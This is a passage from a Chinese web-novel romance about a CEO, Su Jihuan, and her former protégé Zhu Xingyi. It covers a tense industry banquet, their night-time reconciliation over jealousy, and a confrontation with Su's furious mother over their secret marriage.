揉着披肩，某只坏狐在她身边有理有据地说，我是人，我不是小动物，怎么能把我和真狐狸比。我比狐狸乖多了，至少我不咬人。 苏寄欢靠在椅背上静静听她的辩解，时不时投过[哦，是吗]的目光。 坏狐狸瘪瘪嘴不说话。 过了会儿才反驳：“是又怎么样，不还是结婚了。” 苏寄欢低声嗤笑。 狐狸最难养了。 但毛毛好摸，尾巴更好摸。 并且，是她的老婆。 到了宴会，祝星亦才恍然发觉这竟是个熟人局。席间众人，除了[苏盛］与[星闪］的艺人，便是曾在ilmeth宴会上打过照面的那些人。 祝星亦的风评依旧糟糕透顶，她对此毫不在意，只冷眼旁观着周围的一切。 苏寄欢宣布即将与[星闪］展开合作时，众人脸上瞬间露出了惊愕的神情。 “不是吧，苏总和祝星亦合作？为什么要和法制咖合作啊！” “苏总这是什么意思？和[星闪］合作就是在说明……祝星亦已经可以回归大众视野了？” “回归？？不行！当初祝星亦协助晏氏洗钱，她怎么可能回归大众视野！她没被抓起来绝对是靠肮脏的手段才逃脱法律的制裁！” 嘈杂的议论声中，有人端着酒杯走上前去：“苏总，你为什么要和[星闪］合作？祝星亦本人劣迹斑斑，和她合作不是毁你们[苏盛］名声吗？” 苏寄欢还未及开口，身旁的祝星亦从容地站了出来，不紧不慢地说：“我既然能够安然回国，还能把公司经营得有声有色，这足以证明我清清白白没有问题。难不成在你们眼里法律只是个摆设？还有，你们说我背后有背景更大的人撑腰，真是可笑至极。倘若我真有那么厉害的金主，你们还敢在这里对我指指点点，就不怕给自己惹来麻烦？” 众人被祝星亦这番毫不客气的话怼得一时语塞，只能在底下小声地吐槽着。 苏寄欢晃晃酒杯，侧头瞄了眼祝星亦。 火红的坏狐狸仰着下巴半敛着眸子，颇有几分傲娇感。 这副模样，竟然和以前无甚区别。 原来不是只会低头吗？ 原来……还是带着刺的。 苏寄欢垂眼看酒杯。 是自己误会她了吗？ 人群中的郭小姐起身踏出来，语气冷淡：“既然苏总已经决定和祝星亦合作，那我只能退出苏总未来的项目。我实在不愿意和与祝星亦有牵扯的人共事。” 众人都觉得这场面闹得有些不可开交，苏寄欢刚想开口缓和一下气氛，祝星亦却已经走下台来，阴阳怪气道：“你不与苏老师合作，对苏老师来说那可是求之不得的好事。” 苏寄欢轻挑眉头。 呦，坏狐狸知道得倒挺多。 第137章 怎么哭了 苏寄欢晃了下酒杯瞥向彼荔品牌的总裁郭小姐，前几天彼荔就宣传海报涉嫌辱女发了公关，当她看到彼荔的致歉声明用了华文仿宋以及章都不盖，就知道这个品牌完蛋了。 解除合作是迟早的事，对方既然开了这个口，苏寄欢还有阻拦的道理？ 迎着郭小姐求助的目光，苏寄欢没吭声。 那边祝星亦笑呵呵地开口：“你们品牌辱女还不知悔改，放任运营部的蝻员工讽刺女客户，致歉声明没有一点点诚意。你们不与[苏盛］合作，倒是救了苏老师一命。” 苏寄欢慢悠悠喝了口酒，一旁的郭小姐冷汗爬上脊背。 她本想借着踩祝星亦一脚让苏寄欢放低合作要求，怎么现在…… 祝星亦瞧见郭小姐脸上青一阵白一阵，整理好逶迤的披肩旋身走到另一处。 面前是一个正瞪着她的男人严贤，她冷眼讥嘲：“你还说我是劣迹斑斑的艺人？呵～苏老师邀你过来是看在曾经合作过的份上，你不会真把自己当盘菜吧？” 在人群中围观一会儿的姜妤璇悄悄来到苏寄欢身边问：“你真打算让她这样一直说下去？你不怕惹其他人不痛快？你和她合作……” 苏寄欢慢条斯理地截断姜妤璇的话道：“若是有人真因为她而不和我合作，那就证明他们本就不是我的客户。你要我为了讨好他们而听他们的话？跟我合作，我才是甲方。” 这时杵在严贤面前的祝星亦淡淡道：“你自己找新欢被原配发现的烂摊子收拾好了吗？不过我劝你不要以此为荣，毕竟你身上除了钱，一无所有。哦，对了，还投资房地产呢？之前投资的繁城亏到血本无归，还没长记性？你人傻钱多？” 严贤红温的时候，苏寄欢忍不住笑出声。 姜妤璇觉得苏寄欢真是傻了，放任祝星亦跟这些合作方结仇能有什么好处？ 视线落在不可一世的祝星亦身上，苏寄欢摇摇头笑说：“你难道没听说过一句话？” “什么？” “光脚的不怕穿鞋的。” 姜妤璇一愣，等看到本欲继续对祝星亦冷嘲热讽的人都噤声了方知苏寄欢说的这句话是什么意思。 光脚的不怕穿鞋的。 [星闪］拓宽下沉市场已经积攒了许多粉丝，也凭借优质的作品吸了许多路人粉。祝星亦以前做的荒唐事那么多，被ilmeth那边的公关随便洗洗便成了一个热门网络梗——祝女士英勇出击干倒黑恶势力。 简而言之，祝星亦参与洗钱项目却没分账，沉寂三年能重新出现在众人面前，证明祝星亦本人并没犯法。而若不是祝星亦做的那些事被曝光，无人知晓晏氏的恶行。 ilmeth几加营销，网友们便把当年轰动全网的大事当玩笑看，祝星亦也成了其中的一个小玩笑。 观众奔着祝星亦本人的热度关注[星闪］的作品，热度便是极高的价值，即便祝星亦在圈内臭名昭著，也影响不了外在的热度。 简而言之，祝星亦在圈内的名声已经如此，她再可恶点，别人又能拿她怎么办？反正流量热度不差，作品也是口碑爆棚，即便横着走，那又如何？ 最近《寄明月》这部老剧都因为祝星亦的热度又爬到了近期热榜第一，足以让各大投资方看到了祝星亦和[星闪］的价值。 有热度有经济价值便是备受青睐的合作方，无人在意那人是黑是红是否有过不堪的一面。 当然，胆子大的人才敢和祝星亦合作，才敢去接这个旁人不敢接的流量。 比如苏寄欢。 怎么又是苏寄欢？众人匪夷所思。 这祝星亦背后不会真的有大得不得了的势力吧？ “当初祝星亦就是被苏总捧起来的，苏总做什么都带着她，要知道那时祝星亦还是个十八线呢。开始的时候就有人猜测祝星亦到底有什么背景，现在看来，这背景真不是一般大。” “说来也怪，祝星亦做到这种地步都能不被封杀，真是有通天的本领。哼，嚣张的法外狂徒！” “现在她那么耀武扬威，铁定是有点本领的！你看晏氏那么强，晏瑾年都快销声匿迹了，怎么她还活蹦乱跳？说她没点背景，我绝对不信！” “可恶！这女人真难杀！” 祝星亦见众人安静了下，握着酒杯找了一位随机观众碰了下杯含笑说：“我曾经是艺人，现在是生意人，大家都是一个圈子里的人，理应相互照应着。今天是[星闪］和[苏盛］的酒会，我希望大家给我和苏老师留几分薄面，也为彼此留点体面。毕竟我见过大风大浪，你们还没有。” 众人面面相觑。 苏寄欢挑起眉头，坏狐狸还学会威胁别人了。 姜妤璇看场面有点太僵，打了个圆场人群便散了。 这时宾客们才意识到一件事，苏总默许祝星亦大放厥词，不就代表这个宴会就是给其他还在跟[苏盛］合作的人一个下马威？ 再细想一下，苏寄欢开这个宴会摆明了是跟其他人光明正大地表达[苏盛］才是处于主位的一方，根本不在乎其他人的意愿。 敢接祝星亦流量的人果然和祝星亦有着相同的特质——嚣张。 只是苏寄欢开了这个头，未来怕是有不少人开始敢和[星闪］合作了。 酒宴过后，已经有几个品牌方挡住祝星亦出门的步伐谈起生意。 苏寄欢离开人群后望见挺直脊背的坏狐狸风轻云淡地与那些人交谈，放下酒杯倚在桌旁静静看着。 八年前，祝星亦局促地躲在她身后，现在已经是独当一面的祝总。 八年，八年了。 苏寄欢觉得时间过得很快，尤其是当她自己年龄上来之后，回看过去总觉得那些昔日觉得漫长的一切，竟像毫无营养的短视频一样被消化掉。 她和祝星亦的一切也像被暴晒过的烂番茄，血红的汁水流了满地，肆意发散着腐烂的味道。 人们总说过去的事就让它留在过去好了，可苏寄欢做不到那么释怀。 过去的事忘不掉，可她又舍不得真的把一切罪过推在祝星亦身上。 事到如今，她竟分不清她恨的到底是什么。 她到底是在恨祝星亦的背叛，还是恨当年的自己太过弱小？ “苏总。”甜腻的声音打断苏寄欢的思绪。 苏寄欢转头，乔沐音笑意盈盈地走了过来。 原本苏寄欢不想让乔沐音过来，乔沐音还在剧组，来回奔波有些疲惫。 后来苏寄欢看自己几乎把[苏盛］的艺人都喊了过来，索性也把乔沐音喊来凑个整。 苏寄欢：“等合完照你就可以回剧组了，我跟张导说过了，让你明天下午再拍。你回酒店好好歇着就行。” 十分钟后会有[星闪］和[苏盛］的合作合照环节，两家的艺人和影视板块的员工会站在一起。 日后避免不了合作交流，苏寄欢只希望自家员工稍稍放下对[星闪］的偏见，以及对短剧的偏见。 但说到[偏见］…… 苏寄欢还是对短剧保留偏见的色彩，这也是她至今不明白为何苏芙那么喜欢看短剧的原因。 快节奏碎片化的信息真的让人痴迷？即便她每晚熬夜去看祝星亦制作的那些短剧她也不明白，那些剧情初初看着确实是有意思，但看后感觉就像吃了一吨垃圾一样难受。 不过她并没有和祝星亦表达这些，只是她无论如何都接受不了这种快节奏模式的影视剧。 乔沐音点点头：“好，偌菲姐说会带我回剧组，我等下也想和她站在一起。” 程偌菲和乔沐音关系很不错，早在乔沐音还没参加选秀，便作为素人和程偌菲一起演过戏。 那时程偌菲到华音拍一个校园剧，和乔沐音有过几幕戏的搭档。乔沐音签约[苏盛］之后，程偌菲便对她多加关照。 印象里，程偌菲一直都对后辈多加关照，这让苏寄欢很是省心。 苏寄欢道：“前些日子本想邀你回[苏盛］让大家陪你一起过个生日，但偌菲帮你过了，我便没有再耽误你拍戏。” 乔沐音笑笑说：“偌菲姐帮我过我已经很开心了，她还送了我礼物，说等我拍完戏会带我出去玩，她真好。” 苏寄欢正欲说些什么，祝星亦从人堆儿里抽身走过来。 祝星亦打量了两眼乔沐音，苏寄欢便抬手介绍：“这位是乔沐音，之前跟你提过的，和你一样是C位出道的爱豆。” 乔沐音赶忙礼貌地伸出手：“前辈好，我叫乔沐音，是[look练习生］出道的艺人，现在也是[苏盛］的签约艺人。” 第一次离祝星亦那么近，乔沐音有点不自在，伸出的手臂都在颤抖。 祝星亦轻握了一下她的手道：“你好，我是祝星亦。[练习生］那档节目我之前有所关注，你的表现很不错。” 乔沐音眼睛瞬间亮起来：“真的吗？谢谢前辈夸奖！我在初舞台表演的是Shinyfive的《闪闪》，当时扒舞蹈扒的就是你的个人练习室的那版，你的舞蹈真的很好，好希望哪一天能再看到你的表演。” “如果有机会，我们可以一起表演《闪闪》，不过我希望哪一天你可以参演我们[星闪］的剧。” 乔沐音受宠若惊：“我……我演技其实很不好。[星闪］的艺人那么专业，剧也拍得很好。我连她们的头发丝都比不上，而且我的台词经常被苏总诟病呢。” 祝星亦有一刹那恍惚，还是笑着说：“可以慢慢提升的，你不要不自信。” 眼见着两人就这么聊了起来，苏寄欢喊两人快些准备去拍照。 回家的路上祝星亦安静地看着手机，她戴着耳机，苏寄欢不好与她多说话，只能装作不经意间看祝星亦的手机屏幕。 看到屏幕里的乔沐音唱跳视频，苏寄欢有些疑惑。 祝星亦发现苏寄欢的偷看后赶忙关掉手机取下耳机问：“苏老师，怎么了？” “你怎么在刷乔沐音？”苏寄欢问。 祝星亦颤着眼睫哦了几声说：“我就是正好刷到了，她舞台表现还可以。” “是挺好，所以在选秀期间就开始跟她谈签约了。不过国内爱豆的舞台不是很多，所以让她自由发展一年后就赶着她去拍戏。” 祝星亦轻轻哦了声。 到家时已经十一点，苏寄欢喝了些酒精神还比较足。倒是祝星亦，回去便说要去洗漱睡觉。 苏寄欢觉得太阳打西边出来了，但也没太过问，毕竟今天的宴会确实挺累。 洗漱过后躺在床上，苏寄欢有些困倦地看了两眼手机。乔沐音的视频推送过来，她看了会儿点开评论。 十秒钟后她起身去祝星亦门前敲门。 等了会儿，门打开了，一只疲惫的狐狸探出头来小声问：“苏老师，你有什么事？” 苏寄欢推门而入。 她抬手拭了下祝星亦眼角的泪，声音又低又轻：“怎么哭了？” 第138章 叫你起床 这么晚了，苏寄欢本不想打扰祝星亦，但总觉得有不太对劲的地方。 指上晶莹剔透的泪珠验证了她的想法。 昏暗的屋子里，只有床边的小台灯在亮着。看样子确实是睡了，不过是带着眼泪睡的。 “哭着睡觉？”苏寄欢拧紧了眉头，“有什么想不开的事可以跟我说，毕竟我是你的……合法妻子。” 合法了，但没交心。 祝星亦后退半步有些疲惫地解释：“没有想不开的事，就刷手机刷到感人的视频共情了。” “什么视频，我看看。” “已经刷过去了。” “浏览历史可以找到。” 祝星亦停顿两秒，抿唇笑笑：“苏老师，你没什么事可以先回去睡觉，明天还要上班。” 苏寄欢下意识想要冷冰冰地回应什么，话到嘴边被严严实实地堵住。 “玩偶你还没给我。”苏寄欢瞥到床上的玩偶，径直走到床边坐下。 两只玩偶一新一旧，很容易分辨出来。她抱着旧的那只看了看，祝星亦走到她面前站着。 “嗯，你拿走好了。”祝星亦说。 苏寄欢垂眼揉一揉玩偶，把玩偶随意往床上一放，接着丝滑地钻到被窝里。 “暂时不想走，我想在这里睡一晚。”苏寄欢整理好被子躺在了枕头上，“祝星亦，关灯睡觉。” 祝星亦一愣，掐着指尖转身：“那我去你屋子里睡。” 人还没迈一步，身子忽然失重。 苏寄欢起身把她扯到床上，她有点惊慌地想要起身，却被按在被窝里。 “祝星亦，关灯睡觉。”苏寄欢再次重复。 很快地，她按灭台灯。 屋子里陷入黑暗，祝星亦被拉进了被窝。 苏寄欢紧紧抱住她，像是防止她乱跑似的。 祝星亦挣扎了两下便放弃。 她好久没有像这样被苏寄欢抱着了，即便是那个混乱的夜晚，两人也没有这样亲密无间。 住在苏寄欢家里的这段时间，祝星亦偶尔会想到重逢的那一夜。恍若醉酒的两人肆无忌惮地索取和给予，似乎在倾泻这三年压抑太久的欲望。 而现在她被苏寄欢抱着，躲进她期待已久的怀抱里，脑子又清醒又混沌。 贪恋温暖，却清晰地明白她们再也回不到过去。 那晚只不过是成年人疏解压力的一场不计后果的宣泄，结婚也只是一种策略上的让步。 如苏寄欢所说的，结婚不是因为我爱你，而是因为利益牵扯。 她们之间没有信任，只有提防和利益的链接。 一切早就变了。 想到乔沐音，祝星亦眼角又溢出眼泪。 苏寄欢身边有了新的人，有了新的培养对象。 曾经[唯一的学生］不再是唯一。 “你又哭了？”苏寄欢的声音在背后响起。 祝星亦否认：“没有，我要睡觉了。” 苏寄欢的语气严厉了些：“我以前跟你说过什么？长嘴是为了干什么的？” 祝星亦：“说话。” “你有什么事可以跟我说，你又要自己憋着吗祝星亦？” 黑暗里，这句话的分贝有点大。 苏寄欢说完才发觉自己的语气太过严厉，像是要强迫祝星亦说出自己不愿说的话。 从重逢那天到现在，苏寄欢跟祝星亦说的每句话都好像带了火药味儿。 之前祝星亦要她改一改这么严厉的语气，而她在这一刻才清晰地认识到自己的语气多么凶。 她确实是故意的。 她只是想借此责怪这个贬低她、甩了她的女人。 但要责怪到什么时候？ 拿[不爱］去惩罚这个女人多久？ 怀里的人没说话，苏寄欢抬手下意识想轻轻拍拍祝星亦的背，终究是收回了手。 “你不说那就睡觉，我不想逼你。”苏寄欢把手臂抽回来，她不再抱着祝星亦，翻了个身说：“如果你不想跟我睡，你可以去我房间睡。” 身边的人没吭声。 苏寄欢叹口气：“家里的菜不够了，如果你明天早上有时间，我们去趟超市。” “你可以请阿姨帮你买。” “我不常回来住，阿姨一周才来一次，她周末才会过来，不买菜我们会饿死。” “那点外卖。” “祝星亦。”苏寄欢紧握着拳头，“你还说要追回我，你怎么追？你拿你点的外卖追我吗？” 苏寄欢从被窝里坐起来掀起一小阵风，她握紧了拳头，咬牙切齿。 这坏狐狸到底知不知道怎么追回前任？小说里的追妻火葬场在这坏狐狸身上是一点体现不出来是吧？ 给个台阶不下不说，非得转身再往上爬，一点都没有下的意思。 到底谁追谁？ 别人追妻是跑着追，坏狐狸追妻——走半步停在原地，甚至可能半步都没往前迈，转身就离开。 她要是不跟在坏狐狸身后，坏狐狸都不知道跑哪去了。 什么挽回心意，什么把人追回来，什么诚意，坏狐狸全是嘴上说说而已。 现在来看，她身为被追求的一方，反倒像是在眼巴巴地盼着祝星亦来追自己。 什么火葬场文学，全是骗人的。 命好苦。 祝星亦拽了下被子不甘示弱：“可我们之间不是没有可能了吗？结婚只是为了利益，你也早就不爱我了。从我说分手后你就已经对我彻底失望，我深深伤害过你，我对你造成的伤害是不可逆的，你恨我怨我我都接受。我尽力挽回了……” 苏寄欢冷笑着打断她：“你挽回了什么？有话不说？我现在睡你被窝里等你跟我说个明白，你真不打算说什么吗祝星亦？” 祝星亦在这时忽然从被窝里坐起来，“我说什么？我说我要睡觉了，你又一直凶我。你不想睡你就回去，你还要霸占我的床。” “你的床？”苏寄欢被气得面部抽搐：“这是我家，祝星亦。” “那你睡，我去楼下睡沙发。”祝星亦的行动干净利落，快速打开灯从被窝里出来，顺便抱起了盖在苏寄欢身上的被子。 被子也要拿走？ 苏寄欢翻身把被子夺回来，顺便把人捞回来。 没等祝星亦挣扎，苏寄欢箍住她吻上她的唇。怀里的人抗拒着，苏寄欢咬住她的舌持续加深这个吻。 直到感到一股濡湿，苏寄欢才慢慢放开祝星亦。 她又哭了。 苏寄欢拧着眉毛轻轻给她拭泪，心脏忽然一阵抽痛。 “你也会这样吻别的妹妹吗？”祝星亦抽噎着，声音带着浓重的鼻音，“你也会这样哄别的妹妹吗？会让别的妹妹叫你苏老师，然后在深夜去她们房间，手把手指导表演吗？还会为别的妹妹精心挑选剧本，甚至亲自为她们写剧本，让她们演女主角吗？” 她一边说着，一边无力地推着苏寄欢的肩。 “这三年，我心里只有你，没有爱上过任何人，也没和别人在一起。我拼命努力，只是想有一天能挤到你所在的圈子。”祝星亦的泪水决堤般涌出，“可你身边已经有了别人，你这么优秀，从不缺爱慕者，而我曾那样深深地伤害过你，我拿什么去和别人争，又该怎么挽回你……苏寄欢，你早就不爱我了，我早就失去你了，我……” 说到最后，她已经泣不成声。 苏寄欢听着这些话，心中的疑惑瞬间消散。 原来是因为乔沐音。 就因为乔沐音哭了又哭？ 她心疼地将祝星亦往怀里又紧了紧，轻声说：“那届参加《练习生》综艺的新人，我一共签了四个，乔沐音是热度最高的。她和你一样，都是爱豆C位出道，所以团队才决定用培养你的模式来培养她。” “不可否认，她很优秀，但你的成功是独一无二的，无人可以复制。一个小公司出身的艺人，一步步登顶国内外影后之位，不管再过三年、十三年，还是二十年，都不会再出现第二个你。” “至于爱不爱你，你都不认真挽回我，又怎么能让我毫无保留地爱你？” 苏寄欢叹口气，拇指轻轻擦去她脸颊上的泪水，“还有你说的‘别的妹妹’，她们只是我的员工，我为她们规划发展路线，不过是尽我作为老板的职责。我每天被工作缠得脱不开身，哪有时间给别人写剧本？倒是你，你自己想想，你亲自为你的艺人写剧本的时候，你有没有想过，我们还在一起的时候，你有想过要给我写剧本吗？” “那怎么能一样？”祝星亦红着眼眶反驳，“我刚创立星闪的时候，根本找不到合适的编剧，只能自己动手。” 苏寄欢没有说话，只是静静地凝视着祝星亦，祝星亦被她看得有些心虚，慢慢低下头，声音小得像蚊子哼哼：“那……那我以后给你写个剧本好了。” “还哭吗？”苏寄欢轻声问。 祝星亦抬手胡乱抹了抹脸上的泪水，吸了吸鼻子：“不哭了。” “明早记得早点起来，我们一起去买菜。” “我起不来。明天晚上去行不行？” “那明早只能喝皮蛋瘦肉粥了。” “你早点起来给我点外卖，好了好了，我要睡了。”祝星亦说完，便麻溜地整理好被子钻了进去。 苏寄欢看着那鼓起的被子，再看看自己空空如也的双手，苦笑一声。 次日晚上，苏寄欢开车带祝星亦去盒马。 苏寄欢推了个小推车，转身祝星亦就不见了，找了会儿才看到她钻到了熟食区。 “小龙虾和香酥鸭好吃。”祝星亦把已经拿到手的熟食放进小推车，“我有点饿了，我可以先坐在那里吃吗？” 祝星亦指指熟食区的座位，顺便弯腰把熟食拿了出来。 苏寄欢把熟食夺回来放推车，“今天是来逛超市的，结账前别忘记拿布朗尼，你上次说我做得不好吃。” 苏寄欢推着推车转身去蔬菜区，身后的人哒哒哒跑过来解释：“我没说，不是我说的。” “撒谎的人——” “我上次是说你有进步空间。”祝星亦说完小声嘟囔起来，“净会瞎编排我。” 苏寄欢顺手捞了包零食放推车里，“不还是不好吃的意思？” “哪里一样！” 苏寄欢不跟她扯皮，去了蔬菜区慢悠悠挑菜。 祝星亦瞄两眼要她放下菜心，“我讨厌吃这个。” 苏寄欢把菜心装到推车里：“祝星亦，我就挑个我喜欢吃的也不行？” 推车里的蔬菜确实都是祝星亦喜欢吃的，祝星亦帮忙再拿一盒菜心：“行，当然行。” 转身又拿出一盒芦笋：“我今晚要吃芦笋炒虾仁。” “刚买的熟食今晚不吃？” “吃。” “吃得完？” 祝星亦捡出两盒熟食有些为难道：“可是……我都想吃，苏老师，不行吗？” 最后熟食和其他蔬菜肉食水果一起结了账。 苏寄欢拎着两兜沉甸甸的食材走出来，祝星亦在门口等着。 布朗尼已经拆开了，祝星亦正吃着。 看苏寄欢出来，祝星亦晃晃布朗尼说：“苏老师，真的很好吃。” 车在附近停车场停着，祝星亦跟着苏寄欢去找车。 祝星亦掏出一块布朗尼举到苏寄欢嘴边：“苏老师，你尝尝，真的好吃。” 苏寄欢咬下那块布朗尼。 确实好吃，但这不是纯正的布朗尼。 苏寄欢没与她争辩，“嗯，好吃。” “你也要给我做这种。”祝星亦发出想吃的请求。 苏寄欢撇嘴吐槽：“住我家，睡我的床，吃我做的饭，现在还点上菜了。” 祝星亦举手为自己辩解，她每天一睁眼苏寄欢就做好了饭，想展现厨艺都没机会。 “你起早点不就行了？”苏寄欢给她出主意，“或者多定几个闹钟。” “影响我睡眠。”祝星亦仰头问：“那你明天开始能不能叫我起床？” “我是你的人形闹钟？” 祝星亦摇头：“我是你的早点大厨才是，我屋子门没锁，你起来喊我就行了。” 打开后备箱把食材放进去，苏寄欢整理了下袋子，“我知道你屋门没锁，如果到时候我叫你你真的会起床，那……” 话说到一半卡住了。 祝星亦等着她继续说，抬头瞄见惊愕的目光，赶忙转身。 面前站着苏菱，还有苏芙与苏以薇。 周遭的气压忽然变低。 第139章 离开我女儿！ 直到几人一路沉默地到家，祝星亦才长呼出第一口气。 苏菱几人在客厅坐着，没人说话。 空气里有一种诡异感，像一团塞进喉咙里的塑料纸，吐不出，咽不下。 祝星亦偷偷看了眼客厅，苏芙锋利的目光望了过来，她赶忙收回视线。 站在厨房沉默地看着苏寄欢埋头洗菜，她抓了抓围裙走上前去洗芦笋。 这下芦笋炒虾能吃上，熟食也能吃上了。 “你等下不要说话，我来和她们说。”苏寄欢扎起了头发，她做事时会习惯性地把头发绑起来，有时拿丝带绑，有时用皮筋扎。 祝星亦侧头看苏寄欢高耸的鼻梁和清晰的下颌线，手泡在水里洗着菜嗯了声。 饭桌上是难得的安静。 祝星亦小心翼翼地观察苏菱的微表情，苏菱像在极力忍耐着什么。 苏寄欢吃了几口菜，咽了几口汤便放下餐具。 勺子筷子整整齐齐摆在碟子里，这是苏寄欢不再进食的标志。 “我和祝星亦结婚了。”苏寄欢突然说。 祝星亦被这句话吓得咬住了舌头。 这……这是能说的吗？ 果然不出所料，苏菱拍着桌子忽然站起来喘着粗气质问：“你再说一遍？” 苏寄欢握住祝星亦还在拿着筷子的手，泰然自若地坐在椅子上仰头看已经怒不可遏的苏菱，一字一句道：“我说，我和祝星亦结婚了，早就结了，在温哥华结的，证已经到手了。” 早就结了？证都到手了？ 这个消息对苏菱来说无异于晴天霹雳，她指着苏寄欢声音颤抖地骂道：“苏寄欢，你是不是疯了？你为什么要和祝星亦结婚？你难道不知道自己在做什么吗！” 苏芙也跟着囔囔：“这个女人曾经把你害得多惨，你居然还和她结婚？你脑子被门夹了吧！” 一旁苏以薇的劝架没有丝毫用处，再劝也不如苏芙会煽动情绪。 “结都已经结了，就算以后离婚，我也和她结过婚。”苏寄欢短暂地忽略那些指责，“如果你们想留在这里继续吃饭，那就继续吃，不想吃可以离开。” 她起身，冷静地瞥向坐着的祝星亦：“你跟我上楼。” 祝星亦跟着起身，却被苏菱阻止。 “祝星亦！”一声*冷喝，震得祝星亦不敢再跟着苏寄欢往前走。 苏菱声嘶力竭地冲她吼道：“你到底为什么要缠着我女儿？你到底要纠缠她到什么时候？你就不能放过她吗？我求求你了，你放过她吧！” 在这个世上，没有人再比苏菱更爱苏寄欢，也没有人再比苏菱更心疼苏寄欢。 苏菱很讨厌用命运这个词去概括所有的幸与不幸，可是她的宝贝女儿是这个世界上最不幸的女人。 她的女儿，聪颖美丽，却被所谓的[命运］伤害了一次又一次。 苏寄欢幼时被晏氏设计陷害，被阻断了星路，去往海外却因年少不知人心险恶被哄骗签订屈辱合同。 在海外的八年是被歧视被羞辱的八年，被霸凌的校园生活，被导演打骂的片场，还有为了拿到剧本跪下的双膝——那八年是苏菱和苏寄欢不敢提起的往事。 后来苏家一家回国后又遭圈子里的人的排挤，在孤立无援的内娱里闯荡实在艰难，好不容易建立[苏盛］，却在影视板块栽了跟头，也在情路上遭到了重创——被亲手扶起来的爱人背叛。 苏菱太恨命运。 她恨命运加注在苏寄欢身上所有的不公，似乎每当苏寄欢想要做一件事，都会受到严重的阻碍，仿佛老天都不想让她成功。 但苏菱也觉得老天不过如此。 她的女儿，她坚强勇敢的女儿，一次次突破那些阻碍走了下去。 而现在面对曾经背叛过苏寄欢的祝星亦，苏菱只想让这个女人彻底消失。 祝星亦不配和苏寄欢在一起，哪怕只是名字都不配和苏寄欢并列。 苏菱亲眼看着苏寄欢扶持祝星亦一步步往上走，也看着祝星亦和晏氏站在一起，无情背叛了苏寄欢。 那年她请求祝星亦离开晏氏，竟被祝星亦冷嘲热讽，她永远都不会忘记祝星亦那天小人得志的表情。 苏寄欢把全世界最好的东西都给了她，为她掏心掏肺，为她成了不理智的人，却只能得到被背叛的结果。 凭什么祝星亦只用三言两语就把人挽回，还结婚？ 背叛苏寄欢的人就应该永远消失。 苏菱端起桌上的一碗热汤往祝星亦身上泼去，却不想，苏寄欢为祝星亦挡了下来。 苏菱看着苏寄欢身上的汤汤水水，忽然生出一股无力感。 她的宝贝女儿失了智，被一个只会花言巧语的狐狸精迷得脑子都没了。 她早就无法再让苏寄欢按照她选的路安稳走下去，她老了，她无法成为苏寄欢的羽翼，但她不想看着苏寄欢越陷越深。 她的宝贝女儿，不该为了一个这样的女人受伤，也不该被这个可恶的女人三言两语哄到手。 “苏老师！苏老师你没事吧！”祝星亦着急地抽出卫生纸不停地为苏寄欢擦脸擦身上，微弱的哭腔带着颤抖，“苏老师，对不起，对不起……” 苏寄欢随意抹了下脸，冰冷地开口：“我希望你们尊重我的选择，你们闹够了就赶紧回去，我不想大晚上的和你们吵。” 随后她强硬地拉着祝星亦上楼。 苏菱跌坐在椅子上，温热的眼泪滑过生着细纹的眼角。 她为苏寄欢哭泣。 她为苏寄欢所有凄惨悲苦的过去哭泣。 她的宝贝女儿，她美好勇敢坚韧的女儿为什么会这么命苦。 / 次日，[星闪］文化CEO办公室。 “我想你应该不知道三年前在你走后发生了什么。”苏菱把一摞复印的资料推到祝星亦面前，这些资料是苏寄欢到病历单还有她打印的一些过往的新闻。 祝星亦翻到那些病历单时，手的动作停止了。 多次住院、手术，还有……病危通知书。 这是什么？怎么会…… 苏菱抬起下巴冷眼看开始慌乱的女人淡淡道：“寄欢因为你道事备受打击，从你和她分手，到你彻底消失，她便一病不起，如果不是医生医术高明，她早就死在了手术台上。” “祝星亦，你是一个杀人凶手。”苏菱忽然倾身冷声开口，“你差点杀了我女儿你知道吗？你捅她刀子，你背叛她，你害得她从鬼门关里走一遭。她为了你做了那么多，你说背叛就背叛，你和晏氏那些人为伍，你打击她贬低她不愿对她伸出援手，你以为你说两句好话都能把你对她的伤害全都抹掉吗！！” 砰的一声，苏菱拍桌子站起来，她把桌子上所有的东西都砸向愣在原地的女人。 锋利的摆件撞在祝星亦额头，瞬间流出汩汩鲜血。 苏菱看着那抹刺眼的血冷笑：“她在手术台上流了多少血，你这点伤，又算得了什么？她心脏从那以后就出了问题，一辈子都要用药吊着命，而你当年潇洒离开，现在又潇洒回来，三言两语哄骗她和你结婚。祝星亦，你问问你自己，你配吗？” 厚厚的资料，纸页停在病危通知书那一页。 祝星亦看着签署的日期，这一天，也是她被晏璟霖和段以溶杀害的那天。 原来那天，那一晚，她与苏寄欢都在地狱门口徘徊。 在这一刻她才清晰地认识到，她欠苏寄欢的，好像一辈子都还不了了。 “对不起。”祝星亦无力地道歉。 但道歉没有用，她早早知道她对苏寄欢造成的伤害是不可逆的。 苏菱讥讽：“对不起？对不起有用吗？一句轻飘飘地道歉有用吗？我要你消失，祝星亦我要你消失，我要你这辈子都不要和她有瓜葛，我要你永远都不要缠着她！” 苏菱嘶声力竭地吼出这些话，落在祝星亦身上是一根根锋利的刺。 祝星亦颤着声音说：“可是，我爱苏老师，我不想离开她，我知道我做错了事，现在我只想好好弥补她……” “你想弥补她就离开她，我什么都不要你的，离开她，离她越远越好。”苏菱看着祝星亦可怜兮兮的模样就一阵作呕，苏寄欢就是被这副模样骗到的，“她为你投入那么多，我权当她把资源给了狗。只要你离开她，再也不和她有牵扯，我就再也不找你的麻烦。” “不行，我不会离开她。”祝星亦忽然抬头坚决地说，“正因为我做错了，我才更应该好好在她身边弥补她不是吗？一走了之那算什么？当没事发生？” 弥补？苏菱完全看不出来祝星亦到底在弥补苏寄欢什么。 看苏寄欢为祝星亦挡汤汁的样子，苏菱猜测，两人婚后住一起，怕还是苏寄欢在照顾祝星亦。 凭什么，凭什么要苏寄欢端茶送水照顾祝星亦，她女儿活该吗？ 停车场里，她亲眼看着苏寄欢一个人提两兜沉甸甸的菜，而这个祝星亦手里只有一包零食。 她捧在手心里的女儿成了别人的丫鬟，凭什么！ 苏菱忽然觉得自己可笑，她一辈子都在为苏寄欢的前程努力，她悉心照料苏寄欢，把苏寄欢当作手心里的珍宝守护。 结果这个宝贝长大了，给一个吸血鬼、骗子当丫鬟。 她培养的不是美好的苏寄欢，她只是为祝星亦培养了一个召之即来挥之即去的丫鬟…… 满屋子都是苏菱砸下的东西，苏菱垂着眼转身离开。 她想她说再多也不会有人听，在这两个年轻人眼里，自己只是个疯女人，只是阻碍她们爱情的坏人。 爱情？ 苏菱走出大楼时冷笑出声。 这种充满欺骗和背叛的爱情，算什么爱情？ 